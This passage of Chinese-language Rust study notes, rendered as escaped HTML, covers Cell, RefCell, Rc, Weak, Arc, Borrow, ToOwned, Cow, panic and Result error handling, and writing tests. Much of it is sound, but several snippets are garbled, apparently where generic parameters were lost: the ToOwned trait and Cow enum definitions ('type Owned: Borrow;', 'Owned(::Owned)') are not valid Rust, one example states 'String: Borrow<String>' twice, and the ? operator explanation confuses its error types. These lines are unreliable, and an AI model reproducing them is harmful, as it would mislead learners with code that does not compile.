&lt;p&gt;&lt;code&gt;std::cell::Cell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;提供了一个具有&lt;em&gt;interior mutability&lt;&#x2F;em&gt;的值类型，它实际上就是对&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;的简单包装，内存布局仍等价于&lt;code&gt;{T}&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它不是线程安全的，只能在单线程使用&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;Cell&amp;lt;T&amp;gt;::new(x)&lt;&#x2F;code&gt;创建一个cell&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;T: Copy&lt;&#x2F;code&gt;，可以通过&lt;code&gt;Cell::get(&amp;amp;self) -&amp;gt; T&lt;&#x2F;code&gt;获得cell的当前值&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;Cell&amp;lt;T&amp;gt;::set(&amp;amp;self, T)&lt;&#x2F;code&gt;可以为cell赋值&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;Cell&amp;lt;T&amp;gt;::replace(&amp;amp;self, T) -&amp;gt; T&lt;&#x2F;code&gt;可以为cell写入新值，同时将旧值换出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;有多个&lt;code&gt;&amp;amp;Cell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;时，各个引用都可以使用&lt;code&gt;set&lt;&#x2F;code&gt;进行赋值，从而体现了&lt;em&gt;interior mutability&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;std::cell::RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;仍是值类型，即它直接含有&lt;code&gt;T&lt;&#x2F;code&gt;而不是通过引用或指针持有&lt;code&gt;T&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;它不是线程安全的，只能在单线程使用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RefCell&amp;lt;T&amp;gt;::new(x)&lt;&#x2F;code&gt;创建一个ref cell&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RefCell&amp;lt;T&amp;gt;::borrow(&amp;amp;self) -&amp;gt; Ref&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;获得一个模拟immutable reference的&lt;code&gt;Ref&amp;lt;&#x27;b, T&amp;gt;&lt;&#x2F;code&gt;对象&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若当前已经被mutably borrow过，则立即panic&lt;&#x2F;li&gt;
&lt;li&gt;若不想panic，可以使用&lt;code&gt;RefCell&amp;lt;T&amp;gt;::try_borrow(&amp;amp;self) -&amp;gt; Result&amp;lt;Ref&amp;lt;T&amp;gt;, BorrowError&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ref&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;含有一个&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;，&lt;code&gt;Ref&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;因此可以像&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;一样使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RefCell&amp;lt;T&amp;gt;::borrow_mut(&amp;amp;self) -&amp;gt; RefMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;获得一个模拟mutable reference的&lt;code&gt;RefMut&amp;lt;&#x27;b, T&amp;gt;&lt;&#x2F;code&gt;对象&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若当前已经被borrow过，则立即panic&lt;&#x2F;li&gt;
&lt;li&gt;若不想panic，可以使用&lt;code&gt;RefCell&amp;lt;T&amp;gt;::try_borrow_mut(&amp;amp;self) -&amp;gt; Result&amp;lt;RefMut&amp;lt;T&amp;gt;, BorrowMutError&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;RefMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;含有一个&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;，&lt;code&gt;RefMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;和&lt;code&gt;DerefMut&lt;&#x2F;code&gt;因此可以像&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;一样使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;还可以通过&lt;code&gt;RefCell&amp;lt;T&amp;gt;::replace(&amp;amp;self, T) -&amp;gt; T&lt;&#x2F;code&gt;替换ref cell的值&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若当前已经被borrow过，则立即panic&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;有多个&lt;code&gt;&amp;amp;RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;时，相当于它们共享对&lt;code&gt;T&lt;&#x2F;code&gt;的ownership，各个引用都可以获得&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;，但Rust的borrow规则仍会通过运行时检查得到保证&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;下面来看&lt;code&gt;std::rc::Rc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，这是一个基于引用计数的智能指针：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;类似于C++的&lt;code&gt;shared_ptr&lt;&#x2F;code&gt;，但不是线程安全的，只能在单线程使用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Rc&amp;lt;T&amp;gt;::new(x)&lt;&#x2F;code&gt;创建一个&lt;code&gt;Rc&lt;&#x2F;code&gt;，它将对&lt;code&gt;x&lt;&#x2F;code&gt;持有ownership&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Rc&lt;&#x2F;code&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;，因此可以直接对其使用&lt;code&gt;*&lt;&#x2F;code&gt;解引用操作符，但未实现&lt;code&gt;DerefMut&lt;&#x2F;code&gt;，因此只能获得immutable reference，不能进行修改&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以借助&lt;em&gt;interior mutability&lt;&#x2F;em&gt;实现共同引用&lt;code&gt;T&lt;&#x2F;code&gt;且能修改其值，只要使用&lt;code&gt;Rc&amp;lt;RefCell&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Rc&amp;lt;T&amp;gt;::clone(x)&lt;&#x2F;code&gt;可以复制一份&lt;code&gt;Rc&lt;&#x2F;code&gt;，并将引用计数+1&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这里的引用计数是指strong reference count&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们知道基于引用计数的智能指针面临引用成环的问题，需要引入弱引用，&lt;code&gt;Rc&lt;&#x2F;code&gt;对应的弱引用就是&lt;code&gt;std::rc::Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Rc&amp;lt;T&amp;gt;::downgrade(this: &amp;amp;Rc&amp;lt;T&amp;gt;) -&amp;gt; Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;: 产生一个弱引用，令weak reference count +1&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;注意原本的强引用并未销毁，该函数执行后强引用数量不变，弱引用数+1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Rc&amp;lt;T&amp;gt;::weak_count(this: &amp;amp;Rc&amp;lt;T&amp;gt;) -&amp;gt; usize&lt;&#x2F;code&gt;, &lt;code&gt;Rc&amp;lt;T&amp;gt;::strong_count(this: &amp;amp;Rc&amp;lt;T&amp;gt;) -&amp;gt; usize&lt;&#x2F;code&gt;: 返回当前的弱引用、强引用计数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Rc&lt;&#x2F;code&gt;析构时，会令强引用计数-1，&lt;code&gt;Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;析构时，会令弱引用计数-1&lt;&#x2F;li&gt;
&lt;li&gt;强引用计数到零时，即可调用&lt;code&gt;T&lt;&#x2F;code&gt;的析构函数&lt;code&gt;drop&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;弱引用计数到零时，才会真正释放内存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;没有实现&lt;code&gt;Deref&lt;&#x2F;code&gt;，必须调用&lt;code&gt;Weak&amp;lt;T&amp;gt;::upgrade(&amp;amp;self) -&amp;gt; Option&amp;lt;Rc&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;升级成&lt;code&gt;Rc&lt;&#x2F;code&gt;后才能读取&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若强引用计数为零，则升级失败&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Weak&amp;lt;T&amp;gt;::clone(x)&lt;&#x2F;code&gt;可以复制一份&lt;code&gt;Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，并将弱引用计数+1&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;若需要使用线程安全的智能指针，可以使用&lt;code&gt;std::sync::Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;std::sync::Weak&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，其引用计数使用原子操作维护（Arc意为Atomically Reference Counted）&lt;&#x2F;p&gt;
&lt;p&gt;Method的&lt;code&gt;self&lt;&#x2F;code&gt;参数可以显式指定类型，除了此前提到的&lt;code&gt;Self&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;Self&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;mut Self&lt;&#x2F;code&gt;外，还支持智能指针，包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Rc&lt;&#x2F;code&gt;, &lt;code&gt;Arc&amp;lt;Self&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Pin&amp;lt;&amp;amp;Self&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Pin&amp;lt;&amp;amp;mut Self&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Pin&amp;lt;Box&amp;lt;Self&amp;gt;&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Pin&amp;lt;Rc&amp;lt;Self&amp;gt;&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Pin&amp;lt;Arc&amp;lt;Self&amp;gt;&amp;gt;&lt;&#x2F;code&gt;（&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;类型详下）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Rust提供了&lt;code&gt;std::borrow::Borrow&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;std::borrow::BorrowMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，用于抽象borrow行为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Borrow&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;提供了&lt;code&gt;borrow(&amp;amp;self) -&amp;gt; &amp;amp;T&lt;&#x2F;code&gt;方法，代表能以&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;被borrow的类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于任意&lt;code&gt;T&lt;&#x2F;code&gt;总有&lt;code&gt;T: Borrow&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Rc&lt;&#x2F;code&gt;, &lt;code&gt;Arc&amp;lt;Self&amp;gt;&lt;&#x2F;code&gt;都实现了&lt;code&gt;Borrow&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;BorrowMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;提供了&lt;code&gt;borrow_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut T&lt;&#x2F;code&gt;方法，代表能以&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;被borrow的类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于任意&lt;code&gt;T&lt;&#x2F;code&gt;总有&lt;code&gt;T: BorrowMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;BorrowMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个类型可以被borrow为几种类型，例如&lt;code&gt;String: Borrow&amp;lt;String&amp;gt;&lt;&#x2F;code&gt;且&lt;code&gt;String: Borrow&amp;lt;String&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;若&lt;code&gt;T: Clone&lt;&#x2F;code&gt;，则我们可以通过&lt;code&gt;clone&lt;&#x2F;code&gt;方法从一个borrowed的&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;获得一个owned的&lt;code&gt;T&lt;&#x2F;code&gt;，&lt;code&gt;std::borrow::ToOwned&lt;&#x2F;code&gt;就是这一概念的泛化：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pub trait ToOwned {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  type Owned: Borrow;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn to_owned(&amp;amp;self) -&amp;gt; Self::Owned;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们假设&lt;code&gt;T: ToOwned&lt;&#x2F;code&gt;，则我们可以通过&lt;code&gt;to_owned&lt;&#x2F;code&gt;方法从一个&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;获得一个owned的&lt;code&gt;Borrow&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们来看Rust中提供的CoW的智能指针&lt;code&gt;std::borrow:Cow&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pub enum Cow&amp;lt;&#x27;a, B&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    B: &#x27;a + ToOwned + ?Sized,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Borrowed(&amp;amp;&#x27;a B),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  Owned(::Owned),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;，可以直接使用&lt;code&gt;*&lt;&#x2F;code&gt;解引用操作符，&lt;code&gt;deref&lt;&#x2F;code&gt;返回的是&lt;code&gt;&amp;amp;B&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;但没有实现&lt;code&gt;DerefMut&lt;&#x2F;code&gt;，而是要通过&lt;code&gt;Cow::to_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut ::Owned&lt;&#x2F;code&gt;获得对owned data的mutable reference&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若当前值还是&lt;code&gt;Borrowed(p)&lt;&#x2F;code&gt;，则会通过clone先将当前值变为&lt;code&gt;Owned(v)&lt;&#x2F;code&gt;，再返回&lt;code&gt;&amp;amp;mut v&lt;&#x2F;code&gt;，这就是Copy-on-Write&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Cow::into_owned(self) -&amp;gt; ::Owned&lt;&#x2F;code&gt;会直接将data移出，若尚处在&lt;code&gt;Borrowed&lt;&#x2F;code&gt;状态，则先进行clone&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;error-handling&quot;&gt;Error Handling&lt;&#x2F;h2&gt;
&lt;p&gt;当遇到不可恢复的错误时，可以使用&lt;code&gt;panic!(&quot;message&quot;)&lt;&#x2F;code&gt;结束当前线程。&lt;code&gt;panic!&lt;&#x2F;code&gt;默认会进行Stack Unwinding，调用变量的destructor（即&lt;code&gt;drop&lt;&#x2F;code&gt;函数）进行一定程度的清理。若希望立即abort，结束整个进程，则可以在&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;中加入以下内容：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[profile.release]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;panic = &#x27;abort&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;若在panic过程中再次panic，即所谓的&lt;em&gt;double panic&lt;&#x2F;em&gt;，则程序会直接abort。由于&lt;code&gt;drop&lt;&#x2F;code&gt;函数会在stack unwinding时被调用，在&lt;code&gt;drop&lt;&#x2F;code&gt;函数中调用&lt;code&gt;panic!&lt;&#x2F;code&gt;很可能导致double panic，建议不要在&lt;code&gt;drop&lt;&#x2F;code&gt;函数中panic。&lt;&#x2F;p&gt;
&lt;p&gt;通常，我们使用Error Code来表示一个可恢复的错误：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;enum Result&amp;lt;T, E&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Ok(T),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Err(E),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;有很多方法方便其使用，避免错误处理代码充斥着&lt;code&gt;match&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;result.unwrap()&lt;&#x2F;code&gt;: 若为&lt;code&gt;Ok(T)&lt;&#x2F;code&gt;则获得&lt;code&gt;T&lt;&#x2F;code&gt;，否则panic&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;result.expect(msg)&lt;&#x2F;code&gt;: 若为&lt;code&gt;Ok(T)&lt;&#x2F;code&gt;则获得&lt;code&gt;T&lt;&#x2F;code&gt;，否则panic，使用&lt;code&gt;msg&lt;&#x2F;code&gt;作为panic message&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;result.unwrap_or_else(op)&lt;&#x2F;code&gt;: 若为&lt;code&gt;Ok(T)&lt;&#x2F;code&gt;则获得&lt;code&gt;T&lt;&#x2F;code&gt;，否则对&lt;code&gt;E&lt;&#x2F;code&gt;调用函数&lt;code&gt;op&lt;&#x2F;code&gt;（接受&lt;code&gt;E&lt;&#x2F;code&gt;返回&lt;code&gt;T&lt;&#x2F;code&gt;），并返回其返回值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果不想在当前函数处理错误，而是希望将错误propagate到上层，我们可以使用&lt;code&gt;?&lt;&#x2F;code&gt;操作符：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let r = result?;&lt;&#x2F;code&gt;: 当&lt;code&gt;result&lt;&#x2F;code&gt;为&lt;code&gt;Ok(T)&lt;&#x2F;code&gt;时获得&lt;code&gt;T&lt;&#x2F;code&gt;并赋值给&lt;code&gt;r&lt;&#x2F;code&gt;，否则函数直接返回&lt;code&gt;result&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;result&lt;&#x2F;code&gt;的类型为&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;，函数的返回值为&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;，则会自动将&lt;code&gt;E&lt;&#x2F;code&gt;转换到&lt;code&gt;E&#x27;&lt;&#x2F;code&gt;，并返回&lt;code&gt;Err(E&#x27;)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;?&lt;&#x2F;code&gt;操作符只能在返回值为&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;的函数中使用，为了在main函数中使用&lt;code&gt;?&lt;&#x2F;code&gt;操作符，可以令main函数返回一个&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在早期是使用&lt;code&gt;try!&lt;&#x2F;code&gt;宏来实现此处&lt;code&gt;?&lt;&#x2F;code&gt;操作符的功能，由于这个功能太常用所以专门发明了&lt;code&gt;?&lt;&#x2F;code&gt;操作符，现在&lt;code&gt;try!&lt;&#x2F;code&gt;已经deprecated，并且在Rust 2018 Edition中&lt;code&gt;try&lt;&#x2F;code&gt;已经被保留为keyword&lt;&#x2F;p&gt;
&lt;h2 id=&quot;writing-tests&quot;&gt;Writing Tests&lt;&#x2F;h2&gt;
&lt;p&gt;凡是标记有&lt;code&gt;#[test]&lt;&#x2F;code&gt;属性的函数，都会被视为测试函数，在测试时会创建一个线程专门运行该函数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;测试函数不能是Generic的，且不能有输入参数&lt;&#x2F;li&gt;
&lt;li&gt;测试函数只能返回&lt;code&gt;()&lt;&#x2F;code&gt;或&lt;code&gt;Result&amp;lt;(), E: Error&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;返回&lt;code&gt;()&lt;&#x2F;code&gt;的测试函数，若panic则视为测试失败，否则视为测试通过&lt;&#x2F;li&gt;
&lt;li&gt;返回&lt;code&gt;Result&amp;lt;(), E: Error&amp;gt;&lt;&#x2F;code&gt;的测试函数，若返回&lt;code&gt;Ok(())&lt;&#x2F;code&gt;则视为测试通过，否则视为测试失败&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于返回&lt;code&gt;()&lt;&#x2F;code&gt;的测试函数，还可以加上&lt;code&gt;#[should_panic]&lt;&#x2F;code&gt;属性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时若函数panic则视为测试通过，否则视为测试失败&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#[should_panic(expected = &quot;...&quot;)]&lt;&#x2F;code&gt;: panic信息中含有&lt;code&gt;expected&lt;&#x2F;code&gt;时，才视为测试通过，否则视为测试失败&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;测试函数中常用的宏如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assert!(expr)&lt;&#x2F;code&gt;: 当&lt;code&gt;expr&lt;&#x2F;code&gt;为false时panic&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assert_eq!(expr, expr)&lt;&#x2F;code&gt;, &lt;code&gt;assert_ne!(expr, expr)&lt;&#x2F;code&gt;: 当两个&lt;code&gt;expr&lt;&#x2F;code&gt;不等&#x2F;相等时panic&lt;&#x2F;li&gt;
&lt;li&gt;以上宏可以提供额外的参数，以输出格式化字符串，如&lt;code&gt;assert!(expr, &quot;sth bad: {}&quot;, bad_stuff)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;运行&lt;code&gt;cargo test&lt;&#x2F;code&gt;即可运行测试，实际上&lt;code&gt;cargo test&lt;&#x2F;code&gt;还会将doc comment中的样例代码也作为测试运行：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cargo test -- --test-threads=1&lt;&#x2F;code&gt;: 令测试按顺序执行，默认是多线程并发执行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;cargo test -- --nocapture&lt;&#x2F;code&gt;: 实时打印测试函数的输出，默认是收集其输出，并在全部测试运行完毕后，只打印测试失败的函数的输出&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;cargo test TESTNAME&lt;&#x2F;code&gt;: 只有函数名包含&lt;code&gt;TESTNAME&lt;&#x2F;code&gt;的测试函数会被执行&lt;&#x2F;li&gt;
